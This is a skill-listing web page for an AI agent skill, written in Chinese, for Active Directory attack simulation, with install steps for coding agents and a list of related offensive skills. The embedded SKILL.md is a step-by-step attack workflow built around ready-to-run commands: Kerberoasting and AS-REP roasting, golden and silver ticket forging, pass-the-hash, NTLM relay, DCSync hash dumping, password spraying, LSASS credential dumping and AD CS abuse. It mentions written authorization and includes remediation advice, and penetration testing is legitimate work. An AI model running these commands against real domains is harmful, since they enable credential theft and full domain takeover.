executing-active-directory-attack-simulation
对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。
Best use case
executing-active-directory-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。
Teams using executing-active-directory-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/executing-active-directory-attack-simulation/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How executing-active-directory-attack-simulation Compares
| Feature / Agent | executing-active-directory-attack-simulation | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行 Active Directory 攻击模拟 ## 适用场景 - 评估 Active Directory 域和林的安全性,对抗常见和高级攻击技术 - 利用特权关系分析,识别从低权限域用户到域管理员(Domain Admin)的攻击路径 - 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击 - 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力 - 评估分层管理模型和特权访问工作站(PAW)的有效性 **不适用于**:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。 ## 前置条件 - 书面授权,注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统 - 低权限域用户账户(最低起点),用于模拟真实攻击者位置 - 已加入域的测试工作站,或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络 - BloodHound 社区版或企业版,配合 SharpHound/AzureHound 采集器 - 在攻击平台上安装 Impacket 工具包、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec - Hashcat 或 John the Ripper,配备最新词表(rockyou.txt、SecLists),用于离线凭据破解 ## 工作流程 ### 步骤 1:Active Directory 侦察 从低权限域用户位置枚举 AD 环境: - **域枚举**:使用 `Get-ADDomain` 或 `crackmapexec smb <dc_ip> -u <user> -p <pass> --domains` 识别域名、功能级别、域控制器和林信任关系 - **用户枚举**:使用 `Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet` 识别服务账户、特权账户和过期密码 - **组枚举**:使用 `net group "Domain Admins" /domain` 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系 - **GPO 枚举**:使用 `Get-GPO -All | Get-GPOReport -ReportType XML` 识别组策略配置,包括密码策略、审计设置和软件部署 - **信任枚举**:使用 `nltest /domain_trusts /all_trusts` 映射域间和林间信任关系,注意信任方向和传递性 - **LDAP 查询**:使用 `ldapsearch` 或 ADExplorer 搜索带有 `userAccountControl` 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos" ### 步骤 2:BloodHound 攻击路径分析 收集并分析 AD 关系数据,识别到达域管理员的最短路径: - 运行 SharpHound 采集器:`SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\`,收集用户、组、会话、ACL、信任关系和 GPO 数据 - 将 JSON 输出导入 BloodHound,运行内置查询: - "从已拥有主体到域管理员的最短路径" - "查找具有 DCSync 权限的主体" - "查找域用户为本地管理员的计算机" - "到无约束委派系统的最短路径" - "从可 Kerberoast 用户的所有路径" - 在 BloodHound 中将已控用户标记为"已拥有",分析产生的攻击路径 - 识别基于 ACL 的攻击路径:对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限 - 记录每条已识别的攻击路径,包含关系链和受影响对象 ### 步骤 3:Kerberos 攻击 对已识别的脆弱账户执行 Kerberos 攻击: - **Kerberoasting**:为带 SPN 的账户请求 TGS 票据:`impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes`。离线使用 `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt` 破解 - **AS-REP Roasting**:针对未启用 Kerberos 预身份验证的账户:`impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`。使用 `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt` 破解 - **银票据(Silver Ticket)**:若服务账户的 NTLM 哈希被破解,使用 `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>` 为该服务伪造 TGS 票据 - **黄金票据(Golden Ticket)**:若获取到 krbtgt 哈希(域沦陷后),伪造 TGT:`mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"` - **无约束委派(Unconstrained Delegation)滥用**:识别具有无约束委派的计算机,使用 PrinterBug 或 PetitPotam 强制域控制器认证,然后从内存中捕获域控制器的 TGT ### 步骤 4:凭据攻击与横向移动 利用收集到的凭据在域内横向移动: - **哈希传递(Pass-the-Hash)**:`impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>`,在已控账户具有本地管理员权限的系统上执行命令 - **票据传递(Pass-the-Ticket)**:`export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass`,使用捕获或伪造的 Kerberos 票据 - **NTLM 中继(NTLM Relay)**:配置 `impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>`,强制认证以中继 NTLM 凭据进行权限提升 - **DCSync**:若获取 DCSync 权限(复制目录更改权限):`impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm`,转储所有域密码哈希 - **密码喷洒(Password spraying)**:`crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce`,对所有账户测试一个密码以避免锁定 - **LSASS 转储**:在已控主机上,使用 `mimikatz "sekurlsa::logonpasswords"` 或 `procdump -ma lsass.exe lsass.dmp` 从 LSASS 内存中提取凭据,然后离线提取 ### 步骤 5:提升至域管理员权限 串联已发现的攻击路径,从低权限用户提升至域管理员: - 按 BloodHound 识别的最短路径,执行每个关系节点(例如:对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格) - 若发现组策略首选项(GPP)密码,则利用之:`crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin` - 若部署了 LAPS(本地管理员密码解决方案),则查询 LAPS 密码:`Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd` - 使用 Certipy 滥用证书服务(AD CS):`certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>`,查找可利用的证书模板(ESC1-ESC8) - 记录从初始用户到域管理员的完整攻击链,包含使用的所有凭据、工具和技术 ## 核心概念 | 术语 | 定义 | |------|------| | **Kerberoasting** | 为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码 | | **AS-REP Roasting** | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳 | | **DCSync** | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为 | | **BloodHound** | 基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径 | | **无约束委派(Unconstrained Delegation)** | Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT | | **哈希传递(Pass-the-Hash)** | 直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制 | | **AD CS 滥用** | 利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户 | | **NTLM 中继(NTLM Relay)** | 将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效 | ## 工具与系统 - **BloodHound**:攻击路径分析工具,摄取 SharpHound 收集的 AD 数据,通过对象关系可视化并识别权限提升路径 - **Impacket**:网络协议交互的 Python 工具包,支持 Kerberos 攻击(GetUserSPNs、GetNPUsers)、凭据转储(secretsdump)和远程执行(psexec、wmiexec) - **Mimikatz**:后渗透工具,用于从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据 - **CrackMapExec**:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,内置密码喷洒和枚举模块 - **Certipy**:用于枚举和利用 Active Directory 证书服务(AD CS)错误配置的 Python 工具 ## 常见场景 ### 场景:针对医疗机构的域沦陷评估 **场景背景**:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。 **方法**: 1. 运行 SharpHound 收集 AD 关系数据并导入 BloodHound 2. BloodHound 揭示一条路径:已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话 3. Kerberoast SVC-SQL,使用 hashcat 在 12 分钟内破解弱密码(Summer2023!) 4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01 5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据 6. 执行 DCSync 转储所有域哈希,验证域沦陷 7. 报告完整攻击链及修复建议:为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理 **常见陷阱**: - 在业务高峰期使用嘈杂的 SharpHound 收集方法,通过大量 LDAP 查询触发 SOC 告警 - 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定 - 忽略 AD CS 漏洞测试,而这通常是到达域管理员最快的路径 - 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户 ## 输出格式 ``` ## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码 **ID**: AD-002 **严重性**: 严重(CVSS 9.1) **受影响对象**: SVC-SQL@corp.example.com(服务账户) **攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting **描述**: 服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433), 使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在 DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。 **攻击链**: 1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request 2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!) 3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01 4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希 **影响**: 从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有 5,000 个用户账户、800 个计算机对象以及域内所有数据。 **修复建议**: 1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码 2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码 3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密 4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL 5. 对特权账户实施 Protected Users 组,防止凭据缓存 6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击 ```
Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-vlan-hopping-attack
在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。
performing-supply-chain-attack-simulation
模拟和检测软件供应链攻击,包括通过 Levenshtein 距离检测域名抢注(Typosquatting)、针对私有注册表的依赖混淆(Dependency Confusion)测试、使用 pip 进行包哈希验证,以及使用 pip-audit 扫描已知漏洞。
performing-ssl-stripping-attack
在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
performing-phishing-simulation-with-gophish
GoPhish 是一个开源钓鱼模拟框架,供安全团队开展授权的钓鱼意识培训活动,提供活动管理、邮件模板创建、着陆页克隆和综合报告功能。
performing-packet-injection-attack
在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。
performing-kerberoasting-attack
Kerberoasting 是一种后渗透技术,通过为设置了服务主体名称(SPN)的账户请求 Kerberos TGS 票据来针对活动目录中的服务账户。这些票据用服务账户的 NTLM 哈希加密,允许在不产生登录失败事件的情况下进行离线暴力破解。
performing-jwt-none-algorithm-attack
通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。
performing-http-parameter-pollution-attack
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
performing-graphql-depth-limit-attack
使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击,以识别 GraphQL API 中的拒绝服务(DoS)漏洞。